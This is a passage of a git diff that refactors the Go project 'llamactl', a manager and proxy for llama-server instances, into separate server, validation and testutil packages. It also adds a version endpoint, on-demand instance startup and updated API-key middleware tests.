-func createTestManager() llamactl.InstanceManager {
-	config := llamactl.InstancesConfig{
-		PortRange:           [2]int{8000, 9000},
-		LogDirectory:        "/tmp/test",
-		MaxInstances:        10,
-		LlamaExecutable:     "llama-server",
-		DefaultAutoRestart:  true,
-		DefaultMaxRestarts:  3,
-		DefaultRestartDelay: 5,
-	}
-	return llamactl.NewInstanceManager(config)
-}

pkg/server/handlers.go

@@ -1,10 +1,13 @@
-package llamactl
+package server
 
 import (
 	"bytes"
 	"encoding/json"
 	"fmt"
 	"io"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
 	"net/http"
 	"os/exec"
 	"strconv"
@@ -14,18 +17,34 @@ import (
 )
 
 type Handler struct {
-	InstanceManager InstanceManager
-	config          Config
+	InstanceManager manager.InstanceManager
+	cfg             config.AppConfig
 }
 
-func NewHandler(im InstanceManager, config Config) *Handler {
+func NewHandler(im manager.InstanceManager, cfg config.AppConfig) *Handler {
 	return &Handler{
 		InstanceManager: im,
-		config:          config,
+		cfg:             cfg,
 	}
 }
 
-// HelpHandler godoc
+// VersionHandler godoc
+// @Summary Get llamactl version
+// @Description Returns the version of the llamactl command
+// @Tags version
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "Version information"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /version [get]
+func (h *Handler) VersionHandler() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		w.Header().Set("Content-Type", "text/plain")
+		fmt.Fprintf(w, "Version: %s\nCommit: %s\nBuild Time: %s\n", h.cfg.Version, h.cfg.CommitHash, h.cfg.BuildTime)
+	}
+}
+
+// LlamaServerHelpHandler godoc
 // @Summary Get help for llama server
 // @Description Returns the help text for the llama server command
 // @Tags server
@@ -34,7 +53,7 @@ func NewHandler(im InstanceManager, config Config) *Handler {
 // @Success 200 {string} string "Help text"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/help [get]
-func (h *Handler) HelpHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerHelpHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		helpCmd := exec.Command("llama-server", "--help")
 		output, err := helpCmd.CombinedOutput()
@@ -47,7 +66,7 @@ func (h *Handler) HelpHandler() http.HandlerFunc {
 	}
 }
 
-// VersionHandler godoc
+// LlamaServerVersionHandler godoc
 // @Summary Get version of llama server
 // @Description Returns the version of the llama server command
 // @Tags server
@@ -56,7 +75,7 @@ func (h *Handler) HelpHandler() http.HandlerFunc {
 // @Success 200 {string} string "Version information"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/version [get]
-func (h *Handler) VersionHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerVersionHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		versionCmd := exec.Command("llama-server", "--version")
 		output, err := versionCmd.CombinedOutput()
@@ -69,7 +88,7 @@ func (h *Handler) VersionHandler() http.HandlerFunc {
 	}
 }
 
-// ListDevicesHandler godoc
+// LlamaServerListDevicesHandler godoc
 // @Summary List available devices for llama server
 // @Description Returns a list of available devices for the llama server
 // @Tags server
@@ -78,7 +97,7 @@ func (h *Handler) VersionHandler() http.HandlerFunc {
 // @Success 200 {string} string "List of devices"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /server/devices [get]
-func (h *Handler) ListDevicesHandler() http.HandlerFunc {
+func (h *Handler) LlamaServerListDevicesHandler() http.HandlerFunc {
 	return func(w http.ResponseWriter, r *http.Request) {
 		listCmd := exec.Command("llama-server", "--list-devices")
 		output, err := listCmd.CombinedOutput()
@@ -97,7 +116,7 @@ func (h *Handler) ListDevicesHandler() http.HandlerFunc {
 // @Tags instances
 // @Security ApiKeyAuth
 // @Produces json
-// @Success 200 {array} Instance "List of instances"
+// @Success 200 {array} instance.Process "List of instances"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances [get]
 func (h *Handler) ListInstances() http.HandlerFunc {
@@ -124,8 +143,8 @@ func (h *Handler) ListInstances() http.HandlerFunc {
 // @Accept json
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Param options body CreateInstanceOptions true "Instance configuration options"
-// @Success 201 {object} Instance "Created instance details"
+// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
+// @Success 201 {object} instance.Process "Created instance details"
 // @Failure 400 {string} string "Invalid request body"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [post]
@@ -137,13 +156,13 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
 			return
 		}
 
-		var options CreateInstanceOptions
+		var options instance.CreateInstanceOptions
 		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
 			http.Error(w, "Invalid request body", http.StatusBadRequest)
 			return
 		}
 
-		instance, err := h.InstanceManager.CreateInstance(name, &options)
+		inst, err := h.InstanceManager.CreateInstance(name, &options)
 		if err != nil {
 			http.Error(w, "Failed to create instance: "+err.Error(), http.StatusInternalServerError)
 			return
@@ -151,7 +170,7 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
 
 		w.Header().Set("Content-Type", "application/json")
 		w.WriteHeader(http.StatusCreated)
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -165,7 +184,7 @@ func (h *Handler) CreateInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Instance details"
+// @Success 200 {object} instance.Process "Instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [get]
@@ -177,14 +196,14 @@ func (h *Handler) GetInstance() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.GetInstance(name)
+		inst, err := h.InstanceManager.GetInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
 		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -199,8 +218,8 @@ func (h *Handler) GetInstance() http.HandlerFunc {
 // @Accept json
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Param options body CreateInstanceOptions true "Instance configuration options"
-// @Success 200 {object} Instance "Updated instance details"
+// @Param options body instance.CreateInstanceOptions true "Instance configuration options"
+// @Success 200 {object} instance.Process "Updated instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name} [put]
@@ -212,20 +231,20 @@ func (h *Handler) UpdateInstance() http.HandlerFunc {
 			return
 		}
 
-		var options CreateInstanceOptions
+		var options instance.CreateInstanceOptions
 		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
 			http.Error(w, "Invalid request body", http.StatusBadRequest)
 			return
 		}
 
-		instance, err := h.InstanceManager.UpdateInstance(name, &options)
+		inst, err := h.InstanceManager.UpdateInstance(name, &options)
 		if err != nil {
 			http.Error(w, "Failed to update instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
 		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -239,7 +258,7 @@ func (h *Handler) UpdateInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Started instance details"
+// @Success 200 {object} instance.Process "Started instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/start [post]
@@ -251,14 +270,14 @@ func (h *Handler) StartInstance() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.StartInstance(name)
+		inst, err := h.InstanceManager.StartInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
 		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -272,7 +291,7 @@ func (h *Handler) StartInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Stopped instance details"
+// @Success 200 {object} instance.Process "Stopped instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/stop [post]
@@ -284,14 +303,14 @@ func (h *Handler) StopInstance() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.StopInstance(name)
+		inst, err := h.InstanceManager.StopInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to stop instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
 		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -305,7 +324,7 @@ func (h *Handler) StopInstance() http.HandlerFunc {
 // @Security ApiKeyAuth
 // @Produces json
 // @Param name path string true "Instance Name"
-// @Success 200 {object} Instance "Restarted instance details"
+// @Success 200 {object} instance.Process "Restarted instance details"
 // @Failure 400 {string} string "Invalid name format"
 // @Failure 500 {string} string "Internal Server Error"
 // @Router /instances/{name}/restart [post]
@@ -317,14 +336,14 @@ func (h *Handler) RestartInstance() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.RestartInstance(name)
+		inst, err := h.InstanceManager.RestartInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to restart instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
 		w.Header().Set("Content-Type", "application/json")
-		if err := json.NewEncoder(w).Encode(instance); err != nil {
+		if err := json.NewEncoder(w).Encode(inst); err != nil {
 			http.Error(w, "Failed to encode instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
@@ -389,13 +408,13 @@ func (h *Handler) GetInstanceLogs() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.GetInstance(name)
+		inst, err := h.InstanceManager.GetInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
-		logs, err := instance.GetLogs(num_lines)
+		logs, err := inst.GetLogs(num_lines)
 		if err != nil {
 			http.Error(w, "Failed to get logs: "+err.Error(), http.StatusInternalServerError)
 			return
@@ -426,19 +445,19 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc {
 			return
 		}
 
-		instance, err := h.InstanceManager.GetInstance(name)
+		inst, err := h.InstanceManager.GetInstance(name)
 		if err != nil {
 			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
-		if !instance.Running {
+		if !inst.Running {
 			http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
 			return
 		}
 
 		// Get the cached proxy for this instance
-		proxy, err := instance.GetProxy()
+		proxy, err := inst.GetProxy()
 		if err != nil {
 			http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
 			return
@@ -453,6 +472,9 @@ func (h *Handler) ProxyToInstance() http.HandlerFunc {
 			proxyPath = "/" + proxyPath
 		}
 
+		// Update the last request time for the instance
+		inst.UpdateLastRequestTime()
+
 		// Modify the request to remove the proxy prefix
 		originalPath := r.URL.Path
 		r.URL.Path = proxyPath
@@ -489,11 +511,11 @@ func (h *Handler) OpenAIListInstances() http.HandlerFunc {
 		}
 
 		openaiInstances := make([]OpenAIInstance, len(instances))
-		for i, instance := range instances {
+		for i, inst := range instances {
 			openaiInstances[i] = OpenAIInstance{
-				ID:      instance.Name,
+				ID:      inst.Name,
 				Object:  "model",
-				Created: instance.Created,
+				Created: inst.Created,
 				OwnedBy: "llamactl",
 			}
 		}
@@ -545,24 +567,42 @@ func (h *Handler) OpenAIProxy() http.HandlerFunc {
 			return
 		}
 
-		// Route to the appropriate instance based on model name
-		instance, err := h.InstanceManager.GetInstance(modelName)
+		// Route to the appropriate inst based on model name
+		inst, err := h.InstanceManager.GetInstance(modelName)
 		if err != nil {
 			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
-		if !instance.Running {
-			http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
-			return
+		if !inst.Running {
+			if inst.GetOptions().OnDemandStart != nil && *inst.GetOptions().OnDemandStart {
+				// If on-demand start is enabled, start the instance
+				if _, err := h.InstanceManager.StartInstance(modelName); err != nil {
+					http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
+					return
+				}
+
+				// Wait for the instance to become healthy before proceeding
+				if err := inst.WaitForHealthy(h.cfg.Instances.OnDemandStartTimeout); err != nil { // 2 minutes timeout
+					http.Error(w, "Instance failed to become healthy: "+err.Error(), http.StatusServiceUnavailable)
+					return
+				}
+
+			} else {
+				http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
+				return
+			}
 		}
 
-		proxy, err := instance.GetProxy()
+		proxy, err := inst.GetProxy()
 		if err != nil {
 			http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
 			return
 		}
 
+		// Update last request time for the instance
+		inst.UpdateLastRequestTime()
+
 		// Recreate the request body from the bytes we read
 		r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
 		r.ContentLength = int64(len(bodyBytes))

pkg/server/middleware.go

@@ -1,10 +1,11 @@
-package llamactl
+package server
 
 import (
 	"crypto/rand"
 	"crypto/subtle"
 	"encoding/hex"
 	"fmt"
+	"llamactl/pkg/config"
 	"log"
 	"net/http"
 	"os"
@@ -26,7 +27,7 @@ type APIAuthMiddleware struct {
 }
 
 // NewAPIAuthMiddleware creates a new APIAuthMiddleware with the given configuration
-func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware {
+func NewAPIAuthMiddleware(authCfg config.AuthConfig) *APIAuthMiddleware {
 
 	var generated bool = false
 
@@ -35,25 +36,25 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware {
 
 	const banner = "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
 
-	if config.RequireManagementAuth && len(config.ManagementKeys) == 0 {
+	if authCfg.RequireManagementAuth && len(authCfg.ManagementKeys) == 0 {
 		key := generateAPIKey(KeyTypeManagement)
 		managementAPIKeys[key] = true
 		generated = true
 		fmt.Printf("%s\n⚠️  MANAGEMENT AUTHENTICATION REQUIRED\n%s\n", banner, banner)
 		fmt.Printf("🔑  Generated Management API Key:\n\n    %s\n\n", key)
 	}
-	for _, key := range config.ManagementKeys {
+	for _, key := range authCfg.ManagementKeys {
 		managementAPIKeys[key] = true
 	}
 
-	if config.RequireInferenceAuth && len(config.InferenceKeys) == 0 {
+	if authCfg.RequireInferenceAuth && len(authCfg.InferenceKeys) == 0 {
 		key := generateAPIKey(KeyTypeInference)
 		inferenceAPIKeys[key] = true
 		generated = true
 		fmt.Printf("%s\n⚠️  INFERENCE AUTHENTICATION REQUIRED\n%s\n", banner, banner)
 		fmt.Printf("🔑  Generated Inference API Key:\n\n    %s\n\n", key)
 	}
-	for _, key := range config.InferenceKeys {
+	for _, key := range authCfg.InferenceKeys {
 		inferenceAPIKeys[key] = true
 	}
 
@@ -66,9 +67,9 @@ func NewAPIAuthMiddleware(config AuthConfig) *APIAuthMiddleware {
 	}
 
 	return &APIAuthMiddleware{
-		requireInferenceAuth:  config.RequireInferenceAuth,
+		requireInferenceAuth:  authCfg.RequireInferenceAuth,
 		inferenceKeys:         inferenceAPIKeys,
-		requireManagementAuth: config.RequireManagementAuth,
+		requireManagementAuth: authCfg.RequireManagementAuth,
 		managementKeys:        managementAPIKeys,
 	}
 }

pkg/server/middleware_test.go

@@ -1,18 +1,18 @@
-package llamactl_test
+package server_test
 
 import (
+	"llamactl/pkg/config"
+	"llamactl/pkg/server"
 	"net/http"
 	"net/http/httptest"
 	"strings"
 	"testing"
-
-	llamactl "llamactl/pkg"
 )
 
 func TestAuthMiddleware(t *testing.T) {
 	tests := []struct {
 		name           string
-		keyType        llamactl.KeyType
+		keyType        server.KeyType
 		inferenceKeys  []string
 		managementKeys []string
 		requestKey     string
@@ -22,7 +22,7 @@ func TestAuthMiddleware(t *testing.T) {
 		// Valid key tests
 		{
 			name:           "valid inference key for inference",
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			inferenceKeys:  []string{"sk-inference-valid123"},
 			requestKey:     "sk-inference-valid123",
 			method:         "GET",
@@ -30,7 +30,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "valid management key for inference", // Management keys work for inference
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			managementKeys: []string{"sk-management-admin123"},
 			requestKey:     "sk-management-admin123",
 			method:         "GET",
@@ -38,7 +38,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "valid management key for management",
-			keyType:        llamactl.KeyTypeManagement,
+			keyType:        server.KeyTypeManagement,
 			managementKeys: []string{"sk-management-admin123"},
 			requestKey:     "sk-management-admin123",
 			method:         "GET",
@@ -48,7 +48,7 @@ func TestAuthMiddleware(t *testing.T) {
 		// Invalid key tests
 		{
 			name:           "inference key for management should fail",
-			keyType:        llamactl.KeyTypeManagement,
+			keyType:        server.KeyTypeManagement,
 			inferenceKeys:  []string{"sk-inference-user123"},
 			requestKey:     "sk-inference-user123",
 			method:         "GET",
@@ -56,7 +56,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "invalid inference key",
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			inferenceKeys:  []string{"sk-inference-valid123"},
 			requestKey:     "sk-inference-invalid",
 			method:         "GET",
@@ -64,7 +64,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "missing inference key",
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			inferenceKeys:  []string{"sk-inference-valid123"},
 			requestKey:     "",
 			method:         "GET",
@@ -72,7 +72,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "invalid management key",
-			keyType:        llamactl.KeyTypeManagement,
+			keyType:        server.KeyTypeManagement,
 			managementKeys: []string{"sk-management-valid123"},
 			requestKey:     "sk-management-invalid",
 			method:         "GET",
@@ -80,7 +80,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "missing management key",
-			keyType:        llamactl.KeyTypeManagement,
+			keyType:        server.KeyTypeManagement,
 			managementKeys: []string{"sk-management-valid123"},
 			requestKey:     "",
 			method:         "GET",
@@ -90,7 +90,7 @@ func TestAuthMiddleware(t *testing.T) {
 		// OPTIONS requests should always pass
 		{
 			name:           "OPTIONS request bypasses inference auth",
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			inferenceKeys:  []string{"sk-inference-valid123"},
 			requestKey:     "",
 			method:         "OPTIONS",
@@ -98,7 +98,7 @@ func TestAuthMiddleware(t *testing.T) {
 		},
 		{
 			name:           "OPTIONS request bypasses management auth",
-			keyType:        llamactl.KeyTypeManagement,
+			keyType:        server.KeyTypeManagement,
 			managementKeys: []string{"sk-management-valid123"},
 			requestKey:     "",
 			method:         "OPTIONS",
@@ -108,7 +108,7 @@ func TestAuthMiddleware(t *testing.T) {
 		// Cross-key-type validation
 		{
 			name:           "management key works for inference endpoint",
-			keyType:        llamactl.KeyTypeInference,
+			keyType:        server.KeyTypeInference,
 			inferenceKeys:  []string{},
 			managementKeys: []string{"sk-management-admin"},
 			requestKey:     "sk-management-admin",
@@ -119,11 +119,11 @@ func TestAuthMiddleware(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			config := llamactl.AuthConfig{
+			cfg := config.AuthConfig{
 				InferenceKeys:  tt.inferenceKeys,
 				ManagementKeys: tt.managementKeys,
 			}
-			middleware := llamactl.NewAPIAuthMiddleware(config)
+			middleware := server.NewAPIAuthMiddleware(cfg)
 
 			// Create test request
 			req := httptest.NewRequest(tt.method, "/test", nil)
@@ -133,12 +133,12 @@ func TestAuthMiddleware(t *testing.T) {
 
 			// Create test handler using the appropriate middleware
 			var handler http.Handler
-			if tt.keyType == llamactl.KeyTypeInference {
-				handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if tt.keyType == server.KeyTypeInference {
+				handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 			} else {
-				handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 			}
@@ -170,17 +170,17 @@ func TestAuthMiddleware(t *testing.T) {
 func TestGenerateAPIKey(t *testing.T) {
 	tests := []struct {
 		name    string
-		keyType llamactl.KeyType
+		keyType server.KeyType
 	}{
-		{"inference key generation", llamactl.KeyTypeInference},
-		{"management key generation", llamactl.KeyTypeManagement},
+		{"inference key generation", server.KeyTypeInference},
+		{"management key generation", server.KeyTypeManagement},
 	}
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
 			// Test auto-generation by creating config that will trigger it
-			var config llamactl.AuthConfig
-			if tt.keyType == llamactl.KeyTypeInference {
+			var config config.AuthConfig
+			if tt.keyType == server.KeyTypeInference {
 				config.RequireInferenceAuth = true
 				config.InferenceKeys = []string{} // Empty to trigger generation
 			} else {
@@ -189,19 +189,19 @@ func TestGenerateAPIKey(t *testing.T) {
 			}
 
 			// Create middleware - this should trigger key generation
-			middleware := llamactl.NewAPIAuthMiddleware(config)
+			middleware := server.NewAPIAuthMiddleware(config)
 
 			// Test that auth is required (meaning a key was generated)
 			req := httptest.NewRequest("GET", "/", nil)
 			recorder := httptest.NewRecorder()
 
 			var handler http.Handler
-			if tt.keyType == llamactl.KeyTypeInference {
-				handler = middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if tt.keyType == server.KeyTypeInference {
+				handler = middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 			} else {
-				handler = middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				handler = middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 			}
@@ -214,18 +214,18 @@ func TestGenerateAPIKey(t *testing.T) {
 			}
 
 			// Test uniqueness by creating another middleware instance
-			middleware2 := llamactl.NewAPIAuthMiddleware(config)
+			middleware2 := server.NewAPIAuthMiddleware(config)
 
 			req2 := httptest.NewRequest("GET", "/", nil)
 			recorder2 := httptest.NewRecorder()
 
-			if tt.keyType == llamactl.KeyTypeInference {
-				handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+			if tt.keyType == server.KeyTypeInference {
+				handler2 := middleware2.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 				handler2.ServeHTTP(recorder2, req2)
 			} else {
-				handler2 := middleware2.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				handler2 := middleware2.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 				handler2.ServeHTTP(recorder2, req2)
@@ -307,21 +307,21 @@ func TestAutoGeneration(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			config := llamactl.AuthConfig{
+			cfg := config.AuthConfig{
 				RequireInferenceAuth:  tt.requireInference,
 				RequireManagementAuth: tt.requireManagement,
 				InferenceKeys:         tt.providedInference,
 				ManagementKeys:        tt.providedManagement,
 			}
 
-			middleware := llamactl.NewAPIAuthMiddleware(config)
+			middleware := server.NewAPIAuthMiddleware(cfg)
 
 			// Test inference behavior if inference auth is required
 			if tt.requireInference {
 				req := httptest.NewRequest("GET", "/v1/models", nil)
 				recorder := httptest.NewRecorder()
 
-				handler := middleware.AuthMiddleware(llamactl.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				handler := middleware.AuthMiddleware(server.KeyTypeInference)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 
@@ -338,7 +338,7 @@ func TestAutoGeneration(t *testing.T) {
 				req := httptest.NewRequest("GET", "/api/v1/instances", nil)
 				recorder := httptest.NewRecorder()
 
-				handler := middleware.AuthMiddleware(llamactl.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				handler := middleware.AuthMiddleware(server.KeyTypeManagement)(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
 					w.WriteHeader(http.StatusOK)
 				}))
 

pkg/server/openai.go

@@ -1,4 +1,4 @@
-package llamactl
+package server
 
 type OpenAIListInstancesResponse struct {
 	Object string           `json:"object"`

pkg/server/routes.go

@@ -1,4 +1,4 @@
-package llamactl
+package server
 
 import (
 	"fmt"
@@ -8,7 +8,7 @@ import (
 	"github.com/go-chi/cors"
 	httpSwagger "github.com/swaggo/http-swagger"
 
-	_ "llamactl/docs"
+	_ "llamactl/apidocs"
 	"llamactl/webui"
 )
 
@@ -18,7 +18,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
 
 	// Add CORS middleware
 	r.Use(cors.Handler(cors.Options{
-		AllowedOrigins:   handler.config.Server.AllowedOrigins,
+		AllowedOrigins:   handler.cfg.Server.AllowedOrigins,
 		AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
 		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
 		ExposedHeaders:   []string{"Link"},
@@ -27,9 +27,9 @@ func SetupRouter(handler *Handler) *chi.Mux {
 	}))
 
 	// Add API authentication middleware
-	authMiddleware := NewAPIAuthMiddleware(handler.config.Auth)
+	authMiddleware := NewAPIAuthMiddleware(handler.cfg.Auth)
 
-	if handler.config.Server.EnableSwagger {
+	if handler.cfg.Server.EnableSwagger {
 		r.Get("/swagger/*", httpSwagger.Handler(
 			httpSwagger.URL("/swagger/doc.json"),
 		))
@@ -38,14 +38,16 @@ func SetupRouter(handler *Handler) *chi.Mux {
 	// Define routes
 	r.Route("/api/v1", func(r chi.Router) {
 
-		if authMiddleware != nil && handler.config.Auth.RequireManagementAuth {
+		if authMiddleware != nil && handler.cfg.Auth.RequireManagementAuth {
 			r.Use(authMiddleware.AuthMiddleware(KeyTypeManagement))
 		}
 
+		r.Get("/version", handler.VersionHandler()) // Get server version
+
 		r.Route("/server", func(r chi.Router) {
-			r.Get("/help", handler.HelpHandler())
-			r.Get("/version", handler.VersionHandler())
-			r.Get("/devices", handler.ListDevicesHandler())
+			r.Get("/help", handler.LlamaServerHelpHandler())
+			r.Get("/version", handler.LlamaServerVersionHandler())
+			r.Get("/devices", handler.LlamaServerListDevicesHandler())
 		})
 
 		// Instance management endpoints
@@ -73,7 +75,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
 
 	r.Route(("/v1"), func(r chi.Router) {
 
-		if authMiddleware != nil && handler.config.Auth.RequireInferenceAuth {
+		if authMiddleware != nil && handler.cfg.Auth.RequireInferenceAuth {
 			r.Use(authMiddleware.AuthMiddleware(KeyTypeInference))
 		}
 

pkg/testutil/helpers.go

@@ -0,0 +1,10 @@
+package testutil
+
+// Helper functions for pointer fields
+func BoolPtr(b bool) *bool {
+	return &b
+}
+
+func IntPtr(i int) *int {
+	return &i
+}

pkg/validation/validation.go

@@ -1,7 +1,8 @@
-package llamactl
+package validation
 
 import (
 	"fmt"
+	"llamactl/pkg/instance"
 	"reflect"
 	"regexp"
 )
@@ -33,7 +34,7 @@ func validateStringForInjection(value string) error {
 }
 
 // ValidateInstanceOptions performs minimal security validation
-func ValidateInstanceOptions(options *CreateInstanceOptions) error {
+func ValidateInstanceOptions(options *instance.CreateInstanceOptions) error {
 	if options == nil {
 		return ValidationError(fmt.Errorf("options cannot be nil"))
 	}
@@ -101,16 +102,16 @@ func validateStructStrings(v any, fieldPath string) error {
 	return nil
 }
 
-func ValidateInstanceName(name string) error {
+func ValidateInstanceName(name string) (string, error) {
 	// Validate instance name
 	if name == "" {
-		return ValidationError(fmt.Errorf("name cannot be empty"))
+		return "", ValidationError(fmt.Errorf("name cannot be empty"))
 	}
 	if !validNamePattern.MatchString(name) {
